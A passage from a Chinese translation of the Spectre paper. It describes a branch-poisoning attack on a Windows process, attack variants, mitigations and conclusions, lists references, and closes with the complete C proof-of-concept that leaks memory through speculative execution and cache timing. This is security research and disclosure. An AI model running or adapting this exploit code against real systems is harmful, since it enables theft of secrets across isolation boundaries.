13 BC 13 BD 13 BE 13

12 17

当执行上述字节序列时，对应于以下指令：

```
adc edi, dword ptr [ebx+edx+13BE13BDh]
adc dl,byte ptr [edi]
```

该工具的推测执行使用攻击者控制的 ebx 和 edi，可以让攻击者读取受害者的内存。如果攻击者选择 ebx =m-0x13BE13BD-edx，其中试样程序 edx = 3（如通过在调试器中运行所确定的）第一条指令从地址 m 读取 32 位值并将其添加到 edi 中。（在受害者设备中，进位标志恰好是清楚的，所以不会增加额外的进位）。由于 edi 也受攻击者控制，所以第二条指令的推测执行将读取（并带入 cache）内存，该存储器的地址是从地址 m 加载的 32 位值与攻击者选择的 edi 的总和。因此，攻击者可以将 232 个可能的存储器值映射到更小的区域，然后可以通过 flush-and-probe 来分析以解决存储字节。例如，如果已知 m + 2 和 m + 3 的字节，则 edi 中的值可以抵消它们的贡献，并将第二次读取映射到 64KB 区域，这样可以通过 flush-and-probe 轻松地进行探测。

为错误训练分支而选择的操作是 Sleep() 函数的第一条指令，它是“jmp dword ptr ds：[76AE0078h]”的跳转形式（跳转目标位置和目标本身每次由于 ASLR 而重新启动）。选择这个跳转指令是因为看起来攻击进程可能会 clflush 目标地址，尽管（如后面所述）这是行不通的。另外，与返回指令不同的是，没有相邻的操作可能未清除返回地址（例如，通过访问堆栈）并限制推测执行。

为了让受害者可能执行该工具，包含跳转目标的存储器位置需要被解除缓存，并且分支预测器需要被错误地发送推测执行到该工具。按以下步骤完成：

- 使用简单的指针操作来定位 Sleep()的入口点处的间接跳转以及保存跳转目标的内存位置。
- 在 RAM 中搜索 ntdll.dll 以查找工具，并选择了一些共享 DLL 存储器来执行 flush-and-probe 检测。
- 为了准备分支预测器的错误训练，包含跳转目标的目标存储页面被写入（通过写时复制）并被修改以将跳转目标更改为小工具地址。使用相同的方法，在工具位置上编写一个 ret 4 指令。这些更改不会影响受害者（在独立进程中运行）的存储器，但会使攻击者对 Sleep()的调用跳转到小工具地址（模糊分支预测器），然后立即返回。
- 启动一个单独的线程来反复清除包含跳转目标的受害者的存储器地址。（尽管包含目标的存储器对攻击者和受害者具有相同的虚拟地址，，他们似乎有不同的物理内存——也许是因为先前的写时复制）。使用与

JavaScript 示例相同的一般方法来执行驱逐，即通过分配一个大表并使用一对索引读取要清除的地址的 4096 个字节倍数的地址。

- 线程被启动以使分支预测器发生错误。这些使用一个 220 字节（1MB）的可执行存储区域填充 0xC3 字节（ret 指令）。受害者的跳跃目标模式被映射到这个地区的地址，并在初始训练过程（见下文）中找到对 ASLR 的调整。错误训练的线程运行一个循环，将映射的地址压入堆栈，这样一个初始化的 ret 指令导致处理器在内存区域执行一系列的返回指令，分支到小工具地址，然后（由于 ret 被放置在那里）立即返回到循环中。为支持错误训练的线程和受害者的超线程，清除和探测线程设置他们的 CPU 亲和力来共享一个核心（他们会保持其的忙碌性），让受害者和错误训练的线程共享其余的核心。

- 在获取分支预测器行为错误的初始阶段，受害者被给出这要的输入：当受害者调用 Sleep() 时，[ebx+3h+13BE13BDh]将读取一个 DLL 位置（值是已知的），选择 edi，第二个操作将指向另一个可以轻松监控的位置。通过这些设置，对分支训练序列进行调整以补偿受害者的 ASLR。

- 最后，一旦找到有效的模拟跳转序列，攻击者就可以读取受害者的地址空间来定位和读取受害者数据区域，以便通过（由于 ASLR 而移动）控制 ebx 和 edi 的值并在上述选择的 DLL 区域上利用 flush-and-probe 来定位值。

完成的攻击将允许从受害者进程中读取内存。

6 变化

到目前为止，我们已经演示了在推测执行期间利用 cache 状态变化的攻击。未来的处理器（或具有不同微代码的现有处理器）可能会有不同的行为，例如，如果采取措施防止推测执行的代码修改 cache 状态。在本节中，我们将研究攻击的潜在变种，包括投机执行如何影响其他微体系结构组件的状态。一般来说，Spectre 攻击可以与其他微体系结构攻击相结合。在本节中，我们将探讨潜在的组合，并得到这样的结论，即实际上任何可观察到的推测执行代码的影响都可能导致敏感信息的泄漏。尽管测试处理器不需要以下技术（并且尚未实施），但在设计或评估缓解措施时了解潜在的变化是非常重要的。

Evict + Time。Evict + Time 攻击[29] 通过测量依赖于 cache 状态的操作的时间来进行。如下所示，这种技术可以被调整，以利用 Spectre。考虑该代码：

```
if (false but mispredicts as true)
    read array1[R1]
read [R2]
```

假设寄存器 R1 包含一个秘密值。如果推测执行的 array1 [R1]内存读取是 cache 命中，则内存总线上将不会有任何内容读取，并且[R2]中的读取将快速启动。如果对 array1 [R1]的读取是 cache 未命中，则第二次读取可能需要更长的时间，从而导致受害线程的时序不同。另外，系统中可以访问存储器的其他部件（例如其它处理器）可能能

够在内存总线上存在活动或内存读取的其他效应（例如，改变 DRAM 行地址选择）。我们注意到，该攻击与我们所实现的不同，即使推测执行不修改 cache 的内容也是可行的。所需要的只是 cache 的状态会影响推测执行代码的时序，或者最终成为某些攻击者可见的其他属性。

指令执行时间。Spectre 漏洞并不一定需要涉及 cache。指令的时间取决于操作数的值，可能泄漏操作数的信息[8]。在下面的例子中，乘法器被乘法 R1、R2 的推测执行所占据。当乘法器可用于乘法运算 R3、R4（乱序执行或识别出错误预测后）时，可能会受到第一次乘法计时的影响，从而显示有关 R1 和 R2 的信息。

```
if (false but mispredicts as true)
    multiply R1, R2
multiply R3, R4
```

争用寄存器文件。假设 CPU 有一个寄存器文件，其中有一定数量的寄存器可用于存储用于推测执行的检查点。在下面的例子中，如果第二个'if'中的 R1 的条件为真，那么将会比 R1 上的条件为假时多创建出额外的推测执行检查点。如果攻击者可以检测到这个检查点，例如，由于存储空间不足，如果特定的超线程代码执行被减少，就会显示有关 R1 的信息。

```
if (false but mispredicts as true)
    if (condition on R1)
        if (condition)
```

推测执行的变化。即使不包含条件分支的代码也可能有风险。例如，考虑一下攻击者希望确定 R1 是否包含攻击者选择的值 X 或其他值的情况。（能够做出这样的决定足以破坏一些加密的实现。）攻击者错误训练分支预测器，以便在发生中断后、中断返回错误地预测到读取内存[R1]的指令。攻击者随后选择 X 来对应适合 Flush + Reload 的内存地址，从而揭示 R1 = X。

利用任意可观察的影响。事实上，任何可观察到的推测执行代码的影响都可以被用来泄露敏感信息。

考虑列表 1 中的示例，其中在推测执行时 array1/ array2 的访问之后的操作是可观察的。 在这种情况下，可观察操作开始的时间将取决于 array2 的 cache 状态。

```
if (x < array1_size) {
y = array2[array1[x] * 256];
// do something using Y that is
// observable when speculatively executed
}
```

7 缓解措施

如果推测执行能在潜在的敏感执行路径上停止，则可以缓解条件分支漏洞。在 Intel x86 处理器上，“序列化指令”似乎在实践中是这样做的，尽管它们在架构上保证的行为是“限制推测执行，因为推测执行的指令结果被丢弃”[4]。

这与确保推测执行不会发生或泄露信息不同。因此，序列化指令可能不是对所有处理器或系统配置的有效对策。另外，在 Intel 列出的三种用户模式序列化指令中，在正常代码中只能使用 cpuid，并且会破坏多个寄存器。mfence 和 lfence（但非 sfence）

指令也起到作用，并且它们不会破坏寄存器的内容。但是，它们在推测执行方面的行为没有被定义，所以它们可能无法在所有 CPU 或系统配置中工作。[1] 在非 Intel CPU 上的测试尚未执行。虽然理论上，简单的延迟可以工作，但是它们需要很长的时间，因为推测执行通常在 cache 未命中前延伸近 200 条指令，并且可能更多。

插入推测执行阻止指令的问题是具有挑战性的。尽管编译器可以很容易地全面地插入此类指令（即，在每个条件分支及其目标之后的指令处），但这会严重降低性能。静态分析技术可能能够消除其中的一些检查。仅在安全性-关键程序中插入是不够的，因为该漏洞可以在同一进程中利用非安全性关键代码。此外，需要重新编译代码，对旧有应用程序提出了重大的实际挑战。

间接分支感染对软件缓解更具挑战性。在上下文切换过程中，可能会禁用超线程和刷新分支预测状态，尽管这样做似乎没有任何总体定义的方法[14]。亦不能解决所有情况，比如 switch()语句，其中一个案例的输入在另一个案例中可能是危险的。（这种情况很可能发生在解释器和解析器中。）另外，在其他形式的跳转（例如涉及中断处理的跳转）之后的推测执行的适用性目前也是未知的，并且可能在处理器之间有所不同。

微代码修复现有处理器的可操作性也是未知的。修补程序可能会阻止推测执行或阻止推测内存读取，但这会极大地破坏性能。在推测执行之前进行的缓存推测发起的内存事务与 cache 分离，不是一个不充分的应对策略，因为推测执行的时序也可以揭示信息。例如，如果推测执行使用敏感值来形成内存读取的地址，该读取的 cache 状态将影响下一个推测操作的时序。如果可以推断该操作的时序，例如因为它影响诸如其他线程所使用的总线或 ALU 之类的资源，则存储器受到损害。更广泛地说，限于内存缓存的潜在对策可能是不够的，因为推测执行可能通过其他方式泄漏信息。例如，需要考虑内存总线争用的影响、DRAM 行地址选择状态、虚拟寄存器的可用性、ALU 活动以及分支预测器本身的状态的时序效应。当然，推测执行也会影响到常用的侧信道，如功耗和电磁。

因此，任何软件或微码对策尝试都应该被视为权宜之计，以待进一步的研究。

8 结论与未来的工作

软件隔离技术以各种名称被广泛使用，包括沙箱、程序分离、集装箱化、内存安全、携带证明代码。所有这些都基于一个基本的安全假设，即 CPU 将忠实地执行软件，包括安全检查。不幸地是，推测执行违反了这一假设，使攻击者可以破坏内存和寄存器内容的保密性（但不是完整性）。这样一来，广泛的软件隔离方法就受到了影响。另外，现有的针对加密实现的 cache 攻击对策仅考虑了“官方”执行的指令，而不是由于推测执行而引起的影响，并且也受到了影响。

漏洞利用的可行性取决于许多因素，包括受害者的 CPU 和软件方面以及攻击者与受害者互动的能力。虽然基于网络的攻击是可以想象的，但是攻击者可以在与受害者相同的 CPU 上运行代码，这就构成了主要的风

[1] **在审阅本文初稿后，英特尔工程师表示，应明确“lfence”的定义，即 lfence 用于阻止推测执行。**

险。在这些情况下，漏洞利用可能是直截了当的，而其他攻击可能取决于细节，如受害者编译器在分配寄存器和内存时所做的选择。模糊工具可能会被攻击者所调整，以找到当前软件的漏洞。

由于攻击涉及当前未记录的硬件效应，因此给定软件程序的可利用性可能因处理器而异。例如，一些间接分支重定向测试在 Skylake 上进行，而不是 Haswell。AMD 指出，其 Ryzen 处理器具有“人工智能神经网络，能够根据过去的运行情况预测未来的应用路径”[3，5]，这意味着更复杂的特定行为。因此，虽然上一节中描述的权益对策可能有助于在短期内限制实际的攻击，目前还没有办法知道某个特定的代码结构是否在当今的处理器中是安全的，更不用说未来的设计了。

前方还有许多工作要做。软件安全从根本上依赖于在硬件和软件开发人员之间有一个清晰的共识，即哪些是(和不是)CPU 实现从计算中暴露出来的信息。因此，长期的解决方案需要更新指令集体系结构，以包含有关处理器安全特性的明确指导，并且需要更新 CPU 实现以符合要求。

更广泛地说，在安全性和性能之间存在着权衡。本文中的漏洞以及其他许多漏洞都源自技术行业长期关注的最大化性能。因此，处理器、编译器、设备驱动程序、操作系统以及许多其他关键组件已经形成复杂的优化复合层，从而引发安全风险。随着不安全的成本上升，需要重新考虑这些设计选择，并且在很多情况下，需要针对安全性进行优化的替代实施。

9 致谢

这项工作与 Google Project Zero 的独立工作部分重叠。

我们要感谢英特尔公司对这一问题的专业处理，为我们提供了清晰的时间表，并与帮助我们与所有相关的研究人员取得了联系。我们还要感谢 ARM、Qualcomm 和其他厂商在披露此问题时做出的快速响应。

Daniel Gruss、Moritz Lipp、Stefan Mangard 和 Michael Schwarz 受到了欧洲科学研究委员会（ERC）根据欧盟地平线 2020 研究和创新计划（第 681402 号资助协议）的支持。

Daniel Genkin 获得了美国国家科学基金会颁发的＃1514261 和＃1652259 奖项、美国商务部颁发的 70NANB15H328 援助奖、国家标准与技术研究院 2017-2018 年罗斯柴尔德博士后奖学金、以及国防高等研究计划局（DARPA）＃FA8650-16-C-7622 合同项下的资助。

参考文献

[1] Security: Chrome provides high-res timers which allow cache side channel attacks. https://bugs.chromium.org/p/chromium/issues/detail?id=508166.

[2] Cortex-A9 technical reference manual, Revision r4p1, Section 11.4.1, 2012.

[3] AMD takes computing to a new horizon with Ryzen processors, 2016 https://www.amd.com/en-us/press-releases/Pages/amd-takes-computing-2016dec13.aspx.

[4] Intel 64 and IA-32 architectures software developer manual, vol 3: System programmer’s guide, section 8.3, 2016.

[5] AMD SenseMI technology - neural net prediction. Promotional video interview with Robert Hallock of AMD, 2017. https://www.youtube.com/watch?v=uZRih6APtiQ.

[6] ACIIC¸ MEZ, O., GUERON, S., AND SEIFERT, J.-P. New branch prediction vulnerabilities in OpenSSL and necessary software countermeasures. In 11th IMA International Conference on Cryp- tography and Coding (Dec. 2007), S. D. Galbraith, Ed., vol. 4887 of Lecture Notes in Computer Science, Springer, Heidelberg, pp. 185–203.

[7] ACIIC¸ MEZ, O., KOC¸ , C¸ ETIN KAYA., AND SEIFERT, J.-P. Predicting secret keys via branch prediction. In Topics in Cryptology–CT-RSA 2007 (Feb. 2007), M. Abe, Ed., vol. 4377 of Lecture Notes in Computer Science, Springer, Heidelberg, pp. 225–242.

[8] ANDRYSCO, M., KOHLBRENNER, D., MOWERY, K., JHALA, R., LERNER, S., AND SHACHAM, H. On subnormal floating point and abnormal timing. In 2015 IEEE Symposium on Security and Privacy (May 2015), IEEE Computer Society Press, pp. 623– 639.

[9] BERNSTEIN,D.J. Cache-timing attacks on AES. http: //cr.yp.to/papers.html#cachetiming, 2005.

[10] BHATTACHARYA, S., MAURICE, C., AND BHASIN, SHIVAM ABD MUKHOPADHYAY, D. Template attack on blinded scalar multiplication with asynchronous perf-ioctl calls. Cryp- tology ePrint Archive, Report 2017/968, 2017. http:// eprint.iacr.org/2017/968.

[11] EVTYUSHKIN, D., PONOMAREV, D. V., AND ABUGHAZALEH, N. B. Jump over ASLR: attacking branch predictors to bypass ASLR. In MICRO (2016), IEEE Computer Society, pp. 1–13.

[12] FOGH, A. Negative result: Reading kernel memory from user mode, 2017. https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.

[13] GE, Q., YAROM, Y., COCK, D., AND HEISER, G. A survey of microarchitectural timing attacks and countermeasures on con- temporary hardware. J. Cryptographic Engineering (2016).

[14] GE, Q., YAROM, Y., AND HEISER, G. Your processor leaks information - and there’ s nothing you can do about it. CoRR abs/1612.04474 (2017).

[15] GENKIN, D., PACHMANOV, L., PIPMAN, I., SHAMIR, A., AND TROMER, E. Physical key extraction attacks on PCs. Commun. ACM 59, 6 (2016), 70–79.

[16] GENKIN, D., PACHMANOV, L., PIPMAN, I., TROMER, E., AND YAROM, Y. ECDSA key extraction from mobile devices via nonintrusive physical side channels. In ACM Conference on Computer and Communications Security CCS 2016 (Oct. 2016), pp. 1626–1638.

[17] GENKIN, D., SHAMIR, A., AND TROMER, E. RSA key extraction via low-bandwidth acoustic cryptanalysis. In CRYPTO 2014 (2014), Springer, pp. 444–461 (vol. 1).

[18] GRAS, B., RAZAVI, K., BOSMAN, E., BOS, H., AND GIUFFRIDA, C. ASLR on the line: Practical cache attacks on the MMU, 2017. http://www.cs.vu.nl/~giuffrida/papers/ anc-ndss-2017.pdf.

[19] GRUSS, D., LIPP, M., SCHWARZ, M., FELLNER, R., MAU- RICE, C., AND MANGARD, S. KASLR is Dead: Long Live KASLR. In International Symposium on Engineering Secure Software and Systems (2017), Springer, pp. 161–176.

[20] GRUSS, D., SPREITZER, R., AND MANGARD, S. Cache template attacks: Automating attacks on inclusive last-level caches. In USENIX Security Symposium (2015), USENIX Association, pp. 897–912.

[21] GULLASCH, D., BANGERTER, E., AND KRENN, S. Cachegames - bringing access-based cache attacks on AES to practice. In 2011 IEEE Symposium on Security and Privacy (May 2011), IEEE Computer Society Press, pp. 490–505.

[22] KIM, Y., DALY, R., KIM, J., FALLIN, C., LEE, J. H., LEE, D., WILKERSON, C., LAI, K., AND MUTLU, O. Flipping bits in memory without accessing them: An experimen- tal study of DRAM disturbance errors, 2014. https:// users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf.

[23] KOCHER, P., JAFFE, J., AND JUN, B. Differential power analy- sis. In CRYPTO 1999 (1999), Springer, pp. 388–397.

[24] KOCHER, P., JAFFE, J., JUN, B., AND ROHATGI, P. Introduction to differential power analysis. Journal of Cryptographic En- gineering 1, 1 (2011), 5–27.

[25] KOCHER, P. C. Timing attacks on implementations of Diffie- Hellman, RSA, DSS, and other systems. In CRYPTO 1996 (1996), Springer, pp. 104–113.

[26] LEE, S., SHIH, M., GERA, P., KIM, T., KIM, H., AND PEINADO, M. Inferring fine-grained control flow inside SGX enclaves with branch shadowing. In 26th USENIX Security Sym- posium, USENIX Security 2017, Vancouver, BC, Canada, August 16-18, 2017. (2017), pp. 557–574.

[27] LIPP, M., SCHWARZ, M., GRUSS, D., PRESCHER, T., HAAS, W., MANGARD, S., KOCHER, P., GENKIN, D., YAROM, Y., AND HAMBURG, M. Meltdown. Unpublished, 2018.

[28] LIU, F., YAROM, Y., GE, Q., HEISER, G., AND LEE, R. B. Last-level cache side-channel attacks are practical. In IEEE Sym- posium on Security and Privacy (S&P) 2015 (2015), IEEE.

[29] OSVIK, D. A., SHAMIR, A., AND TROMER, E. Cache attacks and countermeasures: The case of AES. In Topics in Cryptology –CT-RSA 2006 (Feb. 2006), D. Pointcheval, Ed., vol. 3860 of Lecture Notes in Computer Science, Springer, Heidelberg, pp. 1– 20.

[30] PERCIVAL, C. Cache missing for fun and profit. http:// www.daemonology.net/papers/htt.pdf, 2005.

[31] QUISQUATER, J.-J., AND SAMYDE, D. Electromagnetic analy- sis (EMA): Measures and counter-measures for smart cards. In E-smart 2001 (2001), pp. 200–210.

[32] SCHWARZ, M., MAURICE, C., GRUSS, D., AND MANGARD, S. Fantastic timers and where to find them: high-resolution microar- chitectural attacks in JavaScript. In International Conference on Financial Cryptography and Data Security (2017), Springer, pp. 247–267.

[33] SHACHAM, H. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86). In ACM CCS 07: 14th Conference on Computer and Communications Security (Oct. 2007), P. Ning, S. D. C. di Vimercati, and P. F. Syverson, Eds., ACM Press, pp. 552–561.

[34] TANG, A., SETHUMADHAVAN, S., AND STOLFO, S. CLKSCREW: exposing the perils of security-oblivious energy management. 26th USENIX Security Symposium, 2017.

[35] TSUNOO, Y., SAITO, T., SUZAKI, T., SHIGERI, M., AND MIYAUCHI, H. Cryptanalysis of DES implemented on computers with cache. In Cryptographic Hardware and Embedded Systems – CHES 2003 (Sept. 2003), C. D. Walter, C¸ etin Kaya. Koc¸, and C. Paar, Eds., vol. 2779 of Lecture Notes in Computer Science, Springer, Heidelberg, pp. 62–76.

[36] YAROM, Y., AND FALKNER, K. FLUSH+RELOAD: A high resolution, low noise, L3 cache side-channel attack. In USENIX Security Symposium (2014), USENIX Association, pp. 719–732.

[37] YAROM, Y., AND FALKNER, K. FLUSH+RELOAD: A high reso-lution, low noise, L3 cache side-channel attack. In USENIX Secu- rity Symposium 2014 (2014), USENIX Association, pp. 719–732.

[38] YAROM, Y., GE, Q., LIU, F., LEE, R. B., AND HEISER, G. Mapping the Intel last-level cache. Cryptology ePrint Archive, Report 2015/905, 2015. http://eprint.iacr.org/2015/905.

附录 A：Spectre 示例实现

```
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>         /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h>      /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0;  /* Used so compiler won't optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}


/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80)  /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]);  /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (volatile int z = 0; z < 100; z++) {}  /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF;   /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16));           /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);
```

```
    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = &array2[mix_i * 512];
      time1 = __rdtscp(&junk);            /* READ TIMER */
      junk = *addr;                       /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp(&junk) - time1;    /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++;  /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break;  /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk;  /* use junk so code above won't get optimized out*/
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
}

int main(int argc, const char **argv) {
  size_t malicious_x=(size_t)(secret-(char*)array1);   /* default for malicious_x */
  int i, score[2], len=40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1;    /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void**)(&malicious_x));
    malicious_x -= (size_t)array1;  /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void*)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
    printf("0x%02X='%c' score=%d    ", value[0],
           (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}
```

清单 4：在 x86 上通过 Spectre 攻击读取内存